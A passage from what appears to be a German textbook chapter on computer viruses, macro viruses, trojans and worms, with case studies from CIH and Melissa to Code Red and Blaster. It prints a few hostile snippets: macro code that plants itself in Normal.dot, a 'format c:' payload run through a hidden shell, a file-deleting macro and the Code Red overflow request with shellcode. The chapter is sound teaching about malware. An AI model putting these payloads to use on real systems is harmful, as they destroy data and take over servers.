neuen Viren eine Kombination verschiedenen Klassen darstellen und somit eine eindeutige Zuordnung erschweren. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) in Deutschland hat im Frühling 2000 eine Studie veröffentlicht, welche die Verteilung der sich im Umlauf befindlichen Computerviren prozentual gegenüberstellt. Abbildung 4.2: Magazin c’T Heft 4/2000 Seite 209 basierend auf einer Studie des BSI Beim Vergleich der Jahre 1998 und 1999 sieht man, dass zu diesem Zeitpunkt die Ablösung der Diskette als primärer Datenträger durch das Email stattfand. Gleichzeitig entstehen durch die beginnende Vernetzung erste trojanische Pferde und Internetwürmer. 22 Abbildung 4.3: www.virus-radar.com complete List Year 2005 2005 hat die Internetvernetzung einen nie da gewesene Durchdringung erreicht. Fast alle Firmen, angefangen bei kleinen KMUs mit einem oder zwei Arbeitsplätzen bis hin zu weltweiten Grossfirmen sind im Internet vertreten und erlauben den Zugriff darauf ihren Mitarbeitern. Weiter ist Breitbandinternet in den westlichen Ländern selbst für private erschwinglich, so dass selbst die Haushalte permanent vernetzt sind. Entsprechend dieser Entwicklung haben sich auch die Zahlen der am häufigsten auftretenden Computerviren verschoben. Nun führen netzwerkfähige Viren die Liste an und die alten klassischen Viren sind auf dem Rückzug. 4.4.2 (Klassisches) Virus Klassische Computerviren sind ausführbare Programme, für die die Fähigkeit der Selbstreproduktion über ein Wirtsprogramm besonders charakteristisch ist. Unabhängig von der Selbstreproduktion verfügen Viren über eine Wirkfunktion, in der Literatur auch als Fracht oder “Schadroutine” bezeichnet. Bei einigen Viren ist die Wirkfunktion leer oder als Gag implementiert. Ein bekanntes Virus letzterer Art ist der “Yankee-Doodle”, welcher in periodischen Abständen das gleichnamige Lied auf dem PC-Lautsprecher ausgibt. Das Virus besteht in der Regel aus vier Teilen : • Binäres Muster Das Muster beschreibt eine eindeutige Identifikation, durch das das Virus sich selbst erkennen kann. Mit Hilfe des Musters kann ein Virus jederzeit überprüfen, ob eine ausführbare Datei bereits von ihm infiziert ist oder nicht. Diese Kennung benutzen auch viele Virensuchprogramme, um schädliche Programme ausfindig zu machen. 87 D5 EE C3 00 3A 66 27-53 00 01 00 68 00 40 00 +_+.:f’S._.h.@. 41 00 40 00 32 00 40 00-43 49 48 20 76 31 2E 32 A.@.2.@.CIH v1.2 20 54 54 49 54 00 00 00-00 00 00 00 00 00 00 00 TTIT........... • Infektionsroutine Der zweite Teil enthält die eigentliche Infektionsroutine. Also jener Programmteil, der nach einer nicht infizierten ausführbaren Datei sucht. Ist eine solche gefunden, kopiert das Virus seinen Programmcode in diese Datei. Ausserdem befindet sich in diesem Teil auch jener Code, der die Datei bei Bedarf so umbaut, dass das Virus bei Aufruf des Programms sofort aktiv werden kann. 23 Als Beispiel sei hier ein Programmausschnitt aus einem Makrovirus angefügt. Dieser Ausschnitt kopiert die “schadhafte” Makroroutine AutoClose in die Standardvorlage (Normal.dot) von Microsoft Word. Verankert also das Virus zentral in die Office-Installation. Source$ = ActiveDocument.AttachedTemplate.FullName Destination$ = NormalTemplate.FullName Application.OrganizerCopy Source$, Destination$, "AutoClose", wdOrganizerObjectProjectItems Bei Programmviren sind zwei unterschiedliche Varianten möglich, wie sich ein Virus in das Wirtsprogramm einklinken kann. Die eine Variante besteht darin, dass sich das Virus an das bestehende Programm anhängt (Append). Ein mit einem solchen Virus befallenes Programm wächst also in seiner Grösse. Das befallene Programm ist weiterhin voll funktionstüchtig, startet aber bei jedem Aufruf zusätzlich auch den angehängten Virencode. Abbildung 4.4: «Overwrite» vs. «Append» Computerviren Die andere Möglichkeit sieht so aus, dass sich das Virus direkt in das Wirtsprogramm hineinkopiert (Overwrite). Das Wirtsprogramm geht dabei irreparabel verloren. Die eigentliche Funktion des Programms geht verloren, so dass ein Defekt irgendwelcher Art für den Benutzer zu sehen ist. • Wirkfunktion Die Wirkfunktion, auch Fracht oder Schadroutine genannt, entscheidet darüber, ob es sich um ein eher harmloses Virus handelt, das nur einen kleinen Scherz macht, oder um einen destruktiven Typ, welcher eine mittlere oder grössere Katastrophe auslöst. Im harmlosesten Fall steht hier die Anweisung, dass das Virus am Tag x ein Bild auf dem Monitor zeichnen oder einen bestimmten Text ausgeben soll. Es kann sich aber auch um den Befehl zum Löschen der Festplatte handeln. Anhand der meist sichtbaren Wirkfunktion merkt ein Anwender vielfach überhaupt erst, dass sein Rechner mit einem Virus infiziert ist. 24 Abbildung 4.5: Melissa Macrovirus - Wirkfunktion • Virusende In diesem Teil steht der Befehl, mit dem das Wirtsprogramm nach Ausführung des Virencodes wieder zu jener Stelle zurückkehrt, an welcher das Virus den normalen Programmablauf unterbrochen hat. Dieser Teil ist wichtig, um den Virenaufruf zu verdecken. Viren benötigen also Programme, um sich dort unbemerkt einzuklinken. Sie werden bei deren Ausführung automatisch ebenfalls gestartet. Nur so wird das Virus aktiv und kann sich weiterverbreiten. Klassische Wirtsprogramme für Viren sind ausführbare Dateien (Programme) mit den Endungen EXE, COM und SCR1 . Aber auch dynamische Bibliotheken unter Windows - Endung DLL - und Overlay-Module bei MS-DOS - Endung OVL - sind mögliche Träger von Viren. Seit kurzem werden auch immer mehr interpretierte Programmiersprachen wie VisualBasic VB oder VisualBasic Script VBS als Basis für Computerviren missbraucht. Früher noch sehr verbreitet waren auch so genannte Boot-Sektor Viren, die sich nicht an Programme, sondern direkt an den Boot-Code des Betriebssystems klammern. Dieser Boot-Code befindet sich auf Disketten und/oder Festplatten und sorgt eigentlich för den Start eines Betriebssystems. Bei Festplatten befindet sich dieser Boot-Code im Master Boot Record (kurz MBR). 1 Bildschirmschoner haben die spezifische Endung SCR 25 Abbildung 4.6: Startvorgang eines IBM kompatiblen Computers Ist ein Bootrecord mit einem Virus infiziert, so wird bei jedem Systemstart auch das Virus aktiviert. Neben MS-DOS basierenden Viren existieren aber auch Viren für das Betriebssystem MacOs von Apple oder UNIX. Ganz allgemein gilt, dass alle ausführbaren Programme und die Shared-Libraries potentielle Kandidaten für einen möglichen Virenbefall darstellen. Immer ein Thema bei Diskussionen sind Attachement bei Emails, also angehängte Programme und Dokumente. Auch diese können Viren enthalten und sollten deshalb vor Gebrauch zuerst mit einem Virenscanner untersucht werden. Sehr häufig werden mit Attachements Makroviren und trojanische Pferde verbreitet. 26 Beispiel : CIH-Virus Das folgende Zitat ist ein Ausschnitt aus der Meldung vom 8. Juni 1998 des Heise Verlages (www.heise.de/ct ). CIH ist ein sogenanntes File bzw Programm-Virus, das sich in ausführbare Windows95/98-Dateien einschleust und sodann mit diesen Programmen verbreitet wird. Abbildung 4.7: CIH Virus Signatur Aufsehen erregt es vor allem wegen seiner Schadensroutine: Es ist in der Lage, (zumindest) bei Computern mit TX-Chipsatz die Inhalte des Flash-BIOS zu löschen. Bei modernen Motherboards ist es möglich, nachträglich Updates des BIOS einzuspielen. Ohne BIOS kann der Rechner nicht hochfahren - sobald CIH zugeschlagen hat, muss daher das Flash-BIOS erst auf einem anderen Rechner reprogrammiert werden. Auf Motherboards, die einen Schreibschutz-Jumper für das Flash-BIOS haben, sollte man sich vergewissern, dass dieser Schutz auch aktiv ist - dann sollte das Virus dem BIOS nichts anhaben kännen. Allerdings berschreibt eine weitere Schadensroutine die Festplatte mit Datenmüll. Es ist zu erwarten, dass alle bekannten Antivirusprogramme in Kürze in der Lage sind, dieses Virus zu erkennen und zu beseitigen. (nl/c’t) Neben Raubkopien aus Fernost sind auch zum Teil fabrikneue Computer mit diesem Virus infiziert, wie folgende Quelle (http://www.europe.datafellows.com/v-descs/cih.htm) belegt: IBM shipped a batch of new Aptiva PCs with the CIH virus pre-installed during March 1999, just a month before the virus activates destructively. Das in diesem Bericht angesprochene Datum war der 26. April 1999. An diesem Tage sind ca. 200’000 Rechner aufgrund dieses Virus in China ausgefallen (gemss staatlichen Medien). Hier in Europa wurde nur vereinzelte Fllte bekannt, was vor allem auch darauf zurckzuführen ist, dass das CIH-Virus unter Microsoft Windows NT/2000/XP seine zerstörerische Wirkung nicht entfalten kann. 27 Beispiel : ILOVEYOU Am Donnerstag den 4. Mai 2000 morgens um 10:30 schlug das ILOVEYOU Virus zu. In kürzester Zeit wurden Tausende von Email-Server rund um die Welt mit Emails überflutet. Es ist das bisher aggressivste Virus. Es hat innerhalb von wenigen Stunden den ganzen Globus umrundet und Computer auf der ganzen Welt infiziert. Das ILOVEYOU Virus ist ein VisualBasic - Script (kurz vbs), welches in einer Email eingebettet ist. Das folgendes Bild aus dem Tages Anzeiger zeigt den Infektionsverlauf: 1. Ein Computeranwender empfängt ein mit ILOVEYOU infizierte Email. 2. Falls der Anwender das Attachement LOVE-LETTER-FOR-YOU.TXT öffnet, wird der lokale Rechner infiziert. Je nach Einstellung von Outlook bzw. Outlook-Express reicht bereits das reine Anschauen des Emails, um das Attachement auszuführen! 3. Einmal in Aktion versendet das Virus selbständig Emails an alle Einträge im Adressbuch des Anwenders. 4. Bei den Empfängern angekommen, fängt das Spiel von vorne Abbildung 4.8: Quelle : Tages Anzeiger vom 5. Mai 2000 Seite 2 Speziell an diesem Virus sind folgende zwei Eigenschaften: 1. Das Attachement ist so benannt, dass bei nur ein Teil des Namens - nämlich LOVE-LETTER-FOR-YOU.TXT - sichtbar ist. Standardmässig blendet Windows die Endungen (hier VBS) bekannter Dateitypen automatisch aus. Damit werden selbst instruierte Anwender, welche angewiesen wurden keine Programme zu starten, getäuscht. Erst nach manueller Konfiguration zeigt Windows den korrekten Namen LOVE-LETTER-FOR-YOU.TXT.vbs. 2. Je nach dem verwendeten Emailprogramm von Microsoft, sprich Outlook oder Outlook-Express, und der aktuellen Sicherheitsstufe reicht bereits das Ansehen des Emails, um das VisualBasic Script auszuführen. 28 Neben dem weiterversandt infiziert das ILOVEYOU Virus lokal gespeicherte Bilder. Eigentlich werden die Bilder nicht infiziert sondern gelöscht und durch das Virus selber unbekannt nach dem jeweiligen Bild, z.B. TIMEBILL.GIF.vbs. Auch hier macht sich das Virus das Ausblenden bekannter Dateitypen zu nutze. Meistens wurde bei solcherart infizierten Computer die lokale Office-Installation bzw. dessen Cliparts zerstört. Einmal mehr zeigt sich mit diesem Vorfall, dass eine Microsoft Monokulturen, also der Einsatz von nur Microsoft Produkten eine sehr anfällige Plattform für Computerviren darstellt. Verwendet man ein anderes Email-Programm als Outlook, z.B. Notus Notes, so muss der Anwender schon zwingend das Attachement starten, um den Rechner zu infizieren. Damit das VisualBasic Script auch wirklich laufäfhig ist, benötigt man Windows 98, Windows 2000 oder auch eine andere Windows Version mit installiertem Internet Explorer v5. Fehlt nur ein Glied in dieser Kette, verliert das Virus seinen Schrecken. Abbildung 4.9: ILOVEYOU Email Abbildung 4.10: Ausgabe des VisualBasic-Scripts 29 Beispiel: Bootsektorvirus Lange Zeit galten die Bootsektorviren so gut wie ausgestorben, bis am 8. Januar 2008 wieder eine neue, weiter entwickelte Variante bekannt wurde. Hier ein Auszug aus dem Artikel aus dem Heise Security Bereich2 Rückkehr der Bootsektor-Viren Der Entwickler der Anti-Rootkit-Software GMER[1] hat einen Schädling entdeckt, der sich im Master-Boot-Record (MBR) der Festplatte einnistet und Rootkit-Techniken verwendet, um sich im Windows-System zu verstecken. Die Forscher des Sicherheitsunternehmens Prevx[2] haben den Schädling auf mehreren kompromittierten Webseiten entdeckt, die Sicherheitslücken in veralteter Software ausnutzen, um Schadsoftware einzuschleusen. Das bislang namenlose MBR-Rootkit [Trojan.Mebroot a.d.R] basiert auf dem frei verfügbaren Code von BootRoot[3], einer Machbarkeitsstudie des Sicherheitsdienstleisters eEye. Forscher des Unternehmens hatten auf der Blackhat-USA-Konferenz 2005 demonstriert, wie sich ein Schädling in den MBR einnisten, beim Starten des Systems Treiber manipulieren und so den Kernel von Windows NT und darauffolgenden Windows-Systemen unterwandern kann. Der jetzt entdeckte Schädling kopiert laut der Beschreibung von GMER zunächst den originalen Bootsektor auf den Sektor 62 der Festplatte, kopiert sich selbst in den MBR und schreibt weitere Daten in die Sektoren 60 und 61 der Festplatte. Den RootkitTreiber schreibt der Schädling auf freie Sektoren, üblicherweise die letzten Sektoren auf der Festplatte. Der Code im MBR ist anschließend verantwortlich, den RootkitTreiber zu laden. Nach einem Neustart klinkt sich der Code im MBR in den Interrupt 13h ein und erhält dadurch die Kontrolle über geladene Daten und kann sich in den Windows-Kernel einklinken und ihn so patchen, dass dieser den Rootkit-Treiber lädt. Der RootkitTreiber klinkt sich wiederum in die Systemfunktionen IRP_MJ_READ und IRP_MJ_WRITE des Treibers disk.sys ein und leitet Leseanfragen für den Bootsektor auf den originalen Code im Sektor 62 um. Außerdem baut der Treiber Verbindungen ins Internet auf. Das MBR-Rootkit läuft unter Windows Vista nur eingeschränkt: Sofern die Benutzerkontensteuerung aktiviert ist, kann es sich nicht einnisten. Außerdem soll der Code zum Suchen der zu patchenden Stelle im Kernel unter Vista fehlerhaft sein. Unter Windows XP soll es jedoch funktionieren. Aufspüren lässt sich das Rootkit mit einer sogenannten Cross-Reference, bei der man die Ergebnisse einer Windows-Funktion nach dem Lesen des Bootsektors mit den Ergebnissen eines Direktzugriffs unter Umgehung der Windows-Funktionen vergleicht. Das Entfernen gestaltet sich offenbar auch recht einfach. Mit dem WindowsWerkzeug fixmbr kann man den Schadcode überschreiben und so unschädlich machen.(dmk[9]/c’t) 2 http://www.heise.de/security/news/meldung/101445 30 4.4.3 Makrovirus Makroviren sind in der Makrosprache eines Anwendungsprogrammes geschriebene Routinen. Diese Makroroutinen sind in den zu bearbeitenden Text, Tabellen oder ähnlichem, für den normalen Anwender meist unsichtbar, eingebettet. Der Anwender aktiviert diese Routinen automatisch, wenn er den Text oder die Tabelle - mit dem entsprechenden Anwendungsprogramm lädt, bearbeitet oder speichert. Die folgenden Ausführungen basieren auf Microsoft Office 97 mit der darin integrierten Visual-Basic Makrosprache. Die Nachfolgeprodukte Office 2000, Office XP, Office 2003 und auch Office 2007 verhalten sich praktisch identisch. Grundsätzlich lassen sich aber Makroviren mit jeder beliebigen anwendungsinternen Programmiersprache realisieren. Gegenüber klassischen Viren müssen sich Makroviren an die Funktionalität des Anwendungsprogrammes anbinden. Damit der Anwender jedoch nicht mitkriegt, dass er zu den scheinbaren Informationen noch einen Virus bekommen hat, benutzt ein Makrovirus sogenannte Automakrofunktionen. Ein Automakro besitzt einen vordefinierten Namen und wird ohne Besttäigung des Anwenders bei den entsprechenden Aktionen automatisch ausgeführt. Folgende Automakros sind in Word für Windows möglich : • AutoExec Beim Start von Word für Windows • AutoNew Beim Erstellen eines neuen Dokumentes • AutoOpen Beim Öffnen eines Dokumentes • AutoClose Beim Schliessen eines Textes • AutoExit Beim Beenden von Word Diese Liste ist nicht abschliessend. Makros lassen sich in Dokumente (.doc), aber auch in Vorlagen (.dot) einbinden. Für ein Virus sehr interessant sind natürlich die Vorlagen, da automatisch alle auf dieser Vorlagen basierenden Dokumente das Virus mitenthalten. Die erste Vorlage, die ein Makrovirus infiziert, ist die Standardvorlage von Word. Sie ist bei jeder OfficeInstallation vorhanden und nennt sich Normal.dot. Einmal darin verankert, kann das Makrovirus jedes von Word bearbeitete oder neu generierte Dokument infizieren. Die Firma Microsoft ist sich der Makroproblematik bei ihren Officeprodukten bewusst und zeigt beim Öffnen von Dokumenten, in denen Makros gefunden werden, eine Warnung. Makros lassen sich nun aktivieren oder im Zweifelsfalle deaktivieren. Abbildung 4.11: Macrowarnung in Microsoft Office 31 Scriptsprachen entwickeln sich immer weiter, und so ist es üblich, dass von Version zu Version zumeist grosse Änderungen vollzogen werden. Das bedeutet, dass die Makroviren von der jeweiligen Scriptsprachenversion, mit der sie geschrieben wurden, abhängig sind. Dasselbe gilt auch für die jeweilige Sprache. Deutsche Makros arbeiten (meist) nicht in einer englischen Version und umgekehrt. Die Warnhinweise sind aber nicht sehr effektiv. Erscheinen die Dialoge zu häufig, schalten die Benuzter diese genervt ab. Auf der anderen Seite kann aber auch ein Computervirus den Dialog abschalten, was die Warnungen unterbindet. Office 2007 Neuerungen Microsoft hat sich erst mit Office 2007 und den neuen Dateiformaten dem Problem mangelnden Transparenz bei den Dateiendungen angenommen. Nur noch Endungen mit einem «m» enthalten aktive Makros. Alle anderen Formate können zwar noch Makros enthalten, sind aber nicht aktiv. Abbildung 4.12: Office 2007 Dateiendungen Somit ist klar, wo Makroviren zu finden sind. Nun stellt sich aber die Frage, ja was können Makroviren eigentlich alles tun? Zum einen ist es Makros erlaubt, sämtliche Officekomponenten wie Word, Excel, Access, Powerpoint und Outlook fernzusteuern. So kann also ein Word-Makro mit Outlook eine Email versenden oder direkt in ein aktuell in Bearbeitung befindliches Dokument, eigenen Text einfügen. Das Beispiel des Melissa-Virus zeigt dies auf sehr eindrückliche Art und Weise. In der Zwischenzeit hat Microsoft auch für dieses Problem eine leider nur halbherzige Lösung erarbeitet. Detektiert Outlook einen «für Microsoft unbekannten Zugriff» erscheint ein Popup, welches den Benutzer fragt, ob der Zugriff zugelassen sein soll oder nicht. 32 Abbildung 4.13: Outlookzugriff zulassen und Zeitdauer Inbesondere Nutzer von «nicht» Microsoft Synchronisierungsprogrammen, wie Palm Desktop oder Nokia PC-Suite, sind von diesem wenig aussagekräftigen Popup betroffen. Weitaus gefährlicher für den eigenen Rechner ist die Tatsache, dass ein Makro Befehle der Kommandozeile ausführen kann. Gewisse Befehle sind bei jeder Microsoft Windows-Installation vorhanden und befinden sich im Standardsuchpfad. Eines dieser Befehle ist das Format-Kommando, mit dem sich ein Laufwerk initialisieren lässt, was normalerweise einen kompletten Datenverlust zu Folge hat. Das Makrovirus Format C benutzt genau diesen Befehl, um das Laufwerk C zu formatieren. Diesen zerstörerischen Teil des Virus ist nachfolgend abgebildet. Sub MAIN (Office 95 : WordBasic) sCmd$ = "echo y | format c: /u " Shell Environ("COMSPEC ") + "/C " + sCmd$, 0 End Sub Aber auch andere Befehle sind möglich, wie zum Beispiel das Löschen von Dateien. Sub Test() (Office 97 und höher : VBA) sCmd$ = "del d:\test.txt" sExec$ = Environ("COMSPEC") Shell sExec$ + " /C " + sCmd$, vbHide End Sub Office 97 und höher Alle Office-Version ab Version 97 arbeiten mit Visual Basic for Application. Entsprechend sind Makroviren - selbst noch unter Office 97 geschrieben - noch heute gefährlich. In allen Officeversionen kann die Sicherheitsstufe in der Registry manipuliert werden oder anders ausgedrückt, die Einstellung der Sicherheitsstufe wird in der Registry abgelegt. Dort sind sie aber auch von Computerviren manipulierbar. Dreistufige Sicherheitsbewertung: 1. Sicherheitsstufe hoch : Standardeinstellung Deaktiviert alle nicht zertifizierten Makros. Es erfolge keine Warnung, falls im Dokument zertifizierte Makros enthalten sind. Wird ein Makro ausgeführt, erscheint ein Warnhinweis (verleitet zur Aktivierung einer niedrigeren Stufe, damit die Hinweise aufhören). 2. Sicherheitsstufe mittel Warnung, falls ein Dokument Makros enthält Wird ein Makro ausgefhrt, erscheint ein Warnhinweis (verleitet zur Aktivierung einer niedrigeren Stufe, damit die Hinweise aufhören). 33 3. Sicherheitsstufe niedrig Alle Makros aktiviert - Keine Warnhinweise 34 Abbildung 4.14: Office Sicherheitsstufen 35 Abbildung 4.15: Auszug aus der Online-Hilfe von Office 2000 36 Abbildung 4.16: Auszug aus der Online-Hilfe von Office 2003 37 Beispiel : Melissa Melissa, genauer gesagt W97M.MelissaA, ist ein typisches Makrovirus, welches aber eine sehr ungewöhnliche Wirkfunktion (Fracht) enthält. Falls ein Benutzer ein infiziertes Word-Dokument öffnet, versucht der Virus mittels Outlook an die ersten 50 Einträge im Adressbuch eine Email mit einer Kopie der infizierten Datei zu senden. Daneben deaktiviert der Virus die Makrowarnfunktion in Ms Word. Das Virus infiziert Dokumente, indem es ein neues Visual-Basic for Application Module (Version 5.0) mit Namen Melissa hinzufügt. Grundsätzlich verbreitet sich Melissa aber nicht nur per Email. Ist auf einem System keine Outlook installiert, so infiziert Melissa als normales Makrovirus die Standardvorlage NORMAL.DOT von Word. Alle weiteren darauf aufbauenden Dokumente werden ebenfalls infiziert. Wird nun ein solches Dokument auf einen anderen Rechner kopiert und geöffnet, so testet Melissa wiederum die Maschine, ob bereits Emails versandt wurden oder nicht. Der Kreis beginnt von neuem. Das erste Mal tauchte das Virus in der Newsgruppe alt.sex auf. Dort wurde in einer Nachricht ein Attachement mitgeliefert, welches Passwörter für Sex-Accounts beinhalte. Abbildung 4.17: Ursprung der Infektion Dieses Attachement (list.zip) enthielt eine mit dem Melissa-Virus infizierte WordDatei. 38 Abbildung 4.18: Infiziertes Word-Dokument «List.doc» Die primäre Schadroutine des Melissa Virues besteht darin, mit Ms Outlook an die ersten 50 Einträge im Adressbuch eine Kopie der infizierten Datei zu senden. Öffnet ein Benutzer zum ersten mal eine mit Melissa infizierte Datei, so überprüft das Virus, ob es bereits die 50 Emails verschickt hat. Dazu kontrolliert es die Registry und sucht den Eintrag : HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa? Existiert dieser und besitzt den Wert “... by Kwyjibo”, so deaktiviert sich Melissa wieder, da die Emails bereits versandt wurden. Dies lässt sich als minimaler Virenschutz ausnutzen. Setzt man diesen Eintrag von Hand, kann die Massenverbreitung von Emails gestoppt bzw. verhindert werden. Ist in der Registry kein solcher Eintrag zu finden, so führt das Virus wie folgt weiter : 1. Öffnet Ms Outlook (falls installiert) 2. Bentzt MAPI -Aufrufe, um das aktuelle Benutzerprofil zu erhalten 3. Generiert eine neue Nachricht, welche an maximal 50 Adressen versandt wird, welche sich im Adressbuch des Benutzer befinden. 4. Das Subjekt dieser Nachricht trägt den Text Important Message From USERNAME. USERNAME ist dabei derjenige Benutzername, welche in den Word BenutzerEinstellungen eingetragen ist. 5. Als eigentlicher Text der Nachricht steht die Zeile : Here is that document you asked for ... don’t show anyone else ;-). 6. Zusätzlich fügt das Virus ein Attachement ein, welches ein infiziertes Dokument enthält. 7. Versendet die Nachricht Daneben enthält in Melissa noch eine weitere (sekundäre) Schadroutine. Diese fügt einmal in jeder Stunde zur Minute, welche dem aktuellen Monatstag, entspricht folgenden Text ein: " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game’s over. I’m outta here." 39 Beispiel : Am 16. eines jeden Monats wird genau um 16 Minuten nach der vollen Stunden (falls ein infiziertes Dokument geöffnet oder geschlossen wird) obiger Text eingefügt. Das Virus tarnt seine Anwesenheit auf diverse Arten, je nach dem, welche Microsoft Word Version verwendet wird. Ms Word 97 • Deaktiviert den Menupunkt EXTRAS/MAKRO : Verhindert manuelle Kontrolle der verwendeten Makros • Deaktiviert den Dialog zum Speichern der Standardvorlage bei einer Änderung : Unterdrückt die Benutzerbenachrichtigung, falls die Standardvorlage verändert wurde. • Deaktiviert den Makroviren-Schutz in den Word-Einstellungen : Verhindert Warnmeldung, falls ein Dokument Makros enthält. • Deaktiviert den Konvertierungsdialog. Ms Word 2000 oder höher • Deaktiviert den Menupunkt MAKRO-SICHERHEIT : Keine manuelle Änderung des Makro-Sicherheitslevel mehr möglich. 4.4.4 Trojanisches Pferd Trojanische Pferde sind Programme, die vorgeben, etwas Nützliches zu leisten oder unbemerkt an fremde Software angehängt wurden. Sie nisten sich unbemerkt im System ein und spionieren es aus. Die so gesammelten Informationen werden ins Netzwerk (z.B. Internet) weitergeleitet. Die Bedrohung für den Benutzer besteht in erster Linie im Verlust der Vertraulichkeit von eigenen Dateien und Passwrtern. Basierend auf diesen gestohlenen Informationen sind jedoch bösartige Manipulationen oder sonstige Schäden möglich. Verbreitet werden trojanische Pferde, wie das klassische Virus, durch Programme bzw. Codefragmente. Es ist auch möglich, die Funktionen des klassischen Virus und eines trojanischen Pferdes zu kombinieren. Ein Beispiel eines trojanischen Pferdes nennt sich Netbus. Dieses Virus besteht aus zwei Komponenten. Aus einem Server, welcher Funktionen auf dem Rechner des Opfers ins Netzwerk freigibt, und einem Client, welcher die angebotenen Funktionen für einen Angriff nutzt. Abbildung 4.19: Netbus Client-Server Modell Eingeschleust auf einem Windows NT Rechner gibt das Programm Y2K_Patch.exe lokalen Ressourcen und Funktionen ins Netzwerk frei. Ausgestattet mit der Fernbedienung (Remote-Control) NetBus.exe kann man nun die freigegebenen Funktionen 40 benutzen und den infizierten Rechner ausspähen, bzw. den dort arbeitenden Benutzer berwachen. Eine Möglichkeit, wie man von diesem trojanischen Pferd befallen werden kann, ist nachfolgend dargestellt : Es ist eine simple Email, welche ausgestattet mit einem Attachement, die Lösung eines Problems verspricht. Startet ein Anwender nun dieses Attachement, so aktiviert er automatisch das trojanische Pferd. Abbildung 4.20: EMail mit Attachement Mit der Kenntnis des Namens, auf welchem Rechner das trojanische Pferd läuft, kann man nun den Client, also die Remote-Control-Einheit starten und die Kontrolle des fremden Rechners bernehmen. Abbildung 4.21: Netbus «remote control» 41 Neben eher belustigenden Gags, wie zum Beispiel das automatische Aus- und Einfahren des CD/DVD-ROM Schlittens im 5 Sekundenintervall, können Screenshots (FUNKTIONS SCREENDUMP) gemacht oder die Tastatureingaben (Funktion LISTEN) aufgezeichnet werden. Mit letzterem lassen sich auf einfachste Weise Passwörter und sonstige Eingaben protokollieren und sammeln. Die Kommunikation zwischen Opfer und Angreifer basiert auf dem Netzwerkprotokoll TCP/IP. Unter Microsoft Windows ist es möglich diese Kommunikation nachzuweisen und zwar mit dem Befehle netstat -a. Ein auf einem Rechner (Opfer) arbeitendes Y2K_Patch-Programm wird wie folgt angezeigt. TCP ztnw678:12345 0.0.0.0:0 LISTENING Diese Zeile zeigt, dass auf dem Rechner ztnw678 auf dem Netzwerk-zugang Ð auch Port genannt- 12345 ein Programm (hier Y2K_Patch.exe) wartet, bis sich ein anderes Programm meldet (LISTENING). Die Datenbertragung an sich soll verbindungsorientiert (TCP) erfolgen. Nimmt nun ein Angreifer Kontakt zu diesem Opfer auf, so erscheint eine zustzlich Zeile. TCP ztnw678:12345 ztnw600.test.ch:1355 ESTABLISHED Aufgeschlüsselt sind folgende Information zu entnehmen. Vom Netzwerkrechner ztnw600 Port 1355 - wurde eine Verbindung zum Opfer auf ztnw678 Port 12345 - aufgebaut (ESTABLISHED). Wie bereits oben erwähnt, basiert die Datenübertragung auf TCP. Neuere Versionen dieses Programmes werden leider immer intelligenter. So kann es neu ganze Netzwerke absuchen und den obigen einmaligen Port mit der Nummer 12345 dynamisch ändern. In einem Firmennetzwerk ist es nun nicht mehr nötig, zu wissen auf welchem Rechner die trojanischen Pferde arbeiten, das Programm sucht die infizierten Rechner automatisch. Zum anderen kann das Programm sich mit anderen Ports im Falle der aktiven Client-Server Anwendungen verstecken. Weicht das Programm zum Beispiel auf den Port 80 aus, so ist es nur noch schwer von einem installierten Web-Server zu unterscheiden. 4.4.5 Wurm Würmer sind eine ganz besondere Art von Viren, denn sie benötigen kein Wirtsprogramm zu ihrer Weiterverbreitung. Sie vermehren sich fast ausschliesslich über Netzwerkverbindungen, befallen aber keine Dateien, sondern sind komplett eigenständige Programme. Der Schaden für den Anwender liegt darin, dass sie die vorhandene Rechenzeit und Speicherkapazität eines Computers verbrauchen. Dies kann im Extremfall (falls sämtliche Rechenzeit nur für den Wurm verbraucht wird) zu einem Ausfall des befallenen Rechners führen, was im Fachjargon auch als Denial of Service bezeichnet wird. Dazu ein Beispiel. Ein Rechner der Firma X ist für die Sammlung und Zustellung von E-mails zuständig. Wird nun dieser Rechner von Würmern befallen und verbrauchen diese komplett die verfügbare Rechenleistung des Computers, so kann der Rechner seine eigentliche Aufgabe nicht mehr erfüllen. Der Email-Dienst als solches ist blockiert, und Anfragen werden abgewiesen. Die Aktivitäten eines Wurms erregten im Jahre 1988 die Aufmerksakeit der Medien, als 250’000 Unix-Rechner während zwei Tagen lahm gelegt wurden. Dieser Ausfall verursachte einen wirtschaftlichen Schaden von etwa 96 Millionen US-Dollar. 42 Beispiel: Code Red Der Wurm CodeRed attackiert den Internet Information Service von Microsoft bzw. dessen Indexierungsservice. Aufgrund eines Buffer Overflows in der Service-DLL liessen sich Befehle einschleusen und die Kontrolle über den angegriffenen Webserver übernehmen. Eine vollständige Analyse des Exploits und dessen Workaround bzw. Behebung beschreibt Microsoft im Security Bulletin MS01-044 . Selbst heute findet man in den Log-Dateien der Server die CodeRed Attacken. /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a Default.ida spezifiziert die anzugreifende Datei, bei deren der Indexierungsservice aktiv wird. Die Serie von N generieren den Buffer-Overflow womit schlussendlich der zustzlich angehängte Shellcode beginnend mit %... ausgeführt wird. Im Sommer 2001 war dieser Wurm sehr erfolgreich, wie folgende Ausbreitungskarte der ersten 24 Stunden aufzeigt. Abbildung 4.22: 19.06.2001 00:0 Quelle caida.org 43 Abbildung 4.23: 19.06.2001 12:00 Quelle caida.org Abbildung 4.24: 20.06.2001 00:00 Quelle caida.org 44 Beispiel: Blaster Im August 2003 gab es ein frühes Erwachen vieler Administratoren. Bereits in der Nacht begannen vereinzelt Server unkontrolliert neu zu starten. Mit Beginn der Bürozeiten häuften sich zusätzlich Meldungen, dass auch die Arbeitsstationen der Benutzer sich permanent neu starteten. Abbildung 4.25: RPC-Service failed Nur ein manuelles Eingreifen kann den Restart abbrechen. shutdown /a Grund war ein neuer Internetwurm genannt W32.Blaster. Dieser attackierte über einen Buffer Overflow den RPC-Service von Windows 